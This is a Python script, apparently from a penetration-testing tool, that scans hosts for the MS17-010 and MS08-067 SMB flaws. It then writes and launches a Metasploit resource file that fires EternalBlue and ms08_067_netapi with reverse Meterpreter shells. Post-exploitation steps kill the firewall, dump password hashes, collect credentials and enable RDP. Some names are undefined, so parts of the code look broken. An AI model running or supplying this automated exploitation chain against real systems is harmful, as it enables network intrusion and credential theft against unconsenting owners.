#!/usr/bin/env python

import os
from subprocess import Popen, PIPE, CalledProcessError
import sys
from libnmap.process import NmapProcess
from libnmap.parser import NmapParser, NmapParserException
import netifaces
import argparse
from termcolor import colored
import time

def parse_args():
    # Create the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-l", "--hostlist", help="Host list file")
    return parser.parse_args()

# Colored terminal output
def print_bad(msg):
    print(colored('[-] ', 'red') + msg)

def print_info(msg):
    print(colored('[*] ', 'blue') + msg)

def print_good(msg):
    print(colored('[+] ', 'green') + msg)

def print_great(msg):
    print(colored('[!] {}'.format(msg), 'yellow', attrs=['bold']))

def parse_nmap(args):
    '''
    Either performs an Nmap scan or parses an Nmap xml file
    Will either return the parsed report or exit script
    '''
    if args.hostlist:
        hosts = []
        with open(args.hostlist, 'r') as hostlist:
            host_lines = hostlist.readlines()
            for line in host_lines:
                line = line.strip()
                try:
                    if '/' in line:
                        hosts += [str(ip) for ip in IPNetwork(line)]
                    elif '*' in line:
                        print_bad('CIDR notation only in the host list, e.g. 10.0.0.0/24')
                        sys.exit()
                    else:
                        hosts.append(line)
                except (OSError, AddrFormatError):
                    print_bad('Error importing host list file. Are you sure you chose the right file?')
                    sys.exit()

        report = nmap_scan(hosts)

    return report

def nmap_status_printer(nmap_proc):
    '''
    Prints that Nmap is running
    '''
    i = -1
    x = -.5
    while nmap_proc.is_running():
        i += 1
        # Every 30 seconds print that Nmap is still running
        if i % 30 == 0:
            x += .5
            print_info("Nmap running: {} min".format(str(x)))

        time.sleep(1)

def run_proc(cmd):
    '''
    Runs single commands
    ntlmrelayx needs the -c "powershell ... ..." cmd to be one arg tho
    '''
    cmd_split = cmd.split()
    print_info('Running: {}'.format(cmd))
    proc = Popen(cmd_split, stdout=STDOUT, stderr=STDOUT)

    return proc

def run_proc_xterm(cmd):
    '''
    Runs a process in an xterm window that doesn't die with icebreaker.py
    '''
    xterm_cmd = 'nohup xterm -hold -e {}'
    full_cmd = xterm_cmd.format(cmd)
    print_info('Running: {}'.format(full_cmd))
    # Split it only on xterm args, leave system command in 1 string
    cmd_split = full_cmd.split(' ', 4)
    # preexec_fn allows the xterm window to stay alive after closing script
    proc = Popen(cmd_split, stdout=PIPE, stderr=PIPE, preexec_fn=os.setpgrp)

    return proc

def nmap_scan(hosts):
    '''
    Do Nmap scan
    '''
    nmap_args = '-sS -T4 --script smb-vuln-ms17-010,smb-vuln-ms08-067 -n --max-retries 5 -p 445 -oA smb-scan'
    nmap_proc = NmapProcess(targets=hosts, options=nmap_args, safe_mode=False)
    rc = nmap_proc.sudo_run_background()
    nmap_status_printer(nmap_proc)
    report = NmapParser.parse_fromfile(os.getcwd()+'/smb-scan.xml')

    return report

def get_hosts(args, report):
    '''
    Gets list of hosts with port 445 or 3268 (to find the DC) open
    and a list of hosts with smb signing disabled
    '''
    hosts = []

    print_info('Parsing hosts')
    for host in report.hosts:
        if host.is_up():
            # Get open services
            for s in host.services:
                if s.port == 445:
                    if s.state == 'open':
                        hosts.append(host)

    if len(hosts) == 0:
        print_bad('No hosts with port 445 open')
        sys.exit()

    return hosts

def get_vuln_hosts(hosts):
    '''
    Parse NSE scripts to find vulnerable hosts
    '''
    vuln_hosts = {}
    nse_scripts = ['smb-vuln-ms17-010', 'smb-vuln-ms08-067']

    for host in hosts:
        ip = host.address

        # Get SMB signing data
        for script_out in host.scripts_results:
            for script in nse_scripts:
                if script_out['id'] == script:
                    if 'State: VULNERABLE' in script_out['output']:
                        print_good('NSE script {} found vulnerable host: {}'.format(script, ip))
                        if vuln_hosts.get(ip):
                            vuln_hosts[ip].append(script)
                        else:
                            vuln_hosts[ip] = [script]

    return vuln_hosts

def get_local_ip(iface):
    '''
    Gets the the local IP of an interface
    '''
    ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
    return ip

def get_iface():
    '''
    Gets the right interface
    '''
    try:
        iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
    except:
        ifaces = []
        for iface in netifaces.interfaces():
            # list of ipv4 addrinfo dicts
            ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])

            for entry in ipv4s:
                addr = entry.get('addr')
                if not addr:
                    continue
                if not (iface.startswith('lo') or addr.startswith('127.')):
                    ifaces.append(iface)

        iface = ifaces[0]

    return iface

def create_rc_file(vuln_hosts):
    local_ip = get_local_ip(get_iface())
    port = '443'

    # Create AutoRunScripts
    with open('autorun.rc', 'w') as ar:
        ar.write('run post/windows/manage/migrate\n'
                 'run post/windows/manage/killfw\n'
                 'run post/windows/gather/hashdump\n'
                 'run post/windows/manage/wdigest_caching\n'
                 'run post/windows/gather/credentials/credential_collector\n'
                 'run post/windows/manage/enable_rdp\n')

    # Start listener
    #start_handler_lines =  ('use exploit/multi/handler\n'
    #                        'set PAYLOAD windows/meterpreter/reverse_https\n'
    #                        'set LHOST {}\n'
    #                        'set LPORT {}\n'
    #                        'set ExitOnSession false\n'
    #                        'exploit -j -z\n'
    #                        'set AutoRunScript multi_console_command -rc autorun.rc\n'.format(local_ip, port))
    start_autorunscript =  ('set AutoRunScript multi_console_command -rc autorun.rc\n'.format(local_ip, port))

    # Exploit ms17-010
    ms17010_lines = ('use exploit/windows/smb/ms17_010_eternalblue\n'
                     'set RHOST {}\n'
                     'set MaxExploitAttempts 5\n'
                     'set payload windows/meterpreter/reverse_https\n'
                     'set LHOST {}\n'
                     'set LPORT {}\n'
                     'exploit -j -z\n')

    # Exploit ms08-067
    ms08067_lines = ('use exploit/windows/smb/ms08_067_netapi\n'
                     'set RHOST {}\n'
                     'set payload windows/meterpreter/reverse_https\n'
                     'set LHOST {}\n'
                     'set LPORT {}\n'
                     'exploit -j -z\n')

    with open('autopwn.rc', 'w') as f:
        f.write(start_autorunscript)
        for ip in vuln_hosts:
            for nse in vuln_hosts[ip]:
                if 'ms17-010' in nse:
                    f.write(ms17010_lines.format(ip, local_ip, port))
                elif 'ms08-067' in nse:
                    f.write(ms08067_lines.format(ip, local_ip, port))

def main(report, args):
    report = parse_nmap(args)
    hosts = get_hosts(args, report)
    vuln_hosts = get_vuln_hosts(hosts)
    create_rc_file(vuln_hosts)
    proc = run_proc_xterm('msfconsole -r autopwn.rc')

if __name__ == "__main__":
    args = parse_args()
    if os.geteuid():
        print_bad('Run as root')
        sys.exit()
    report = parse_nmap(args)
    main(report, args)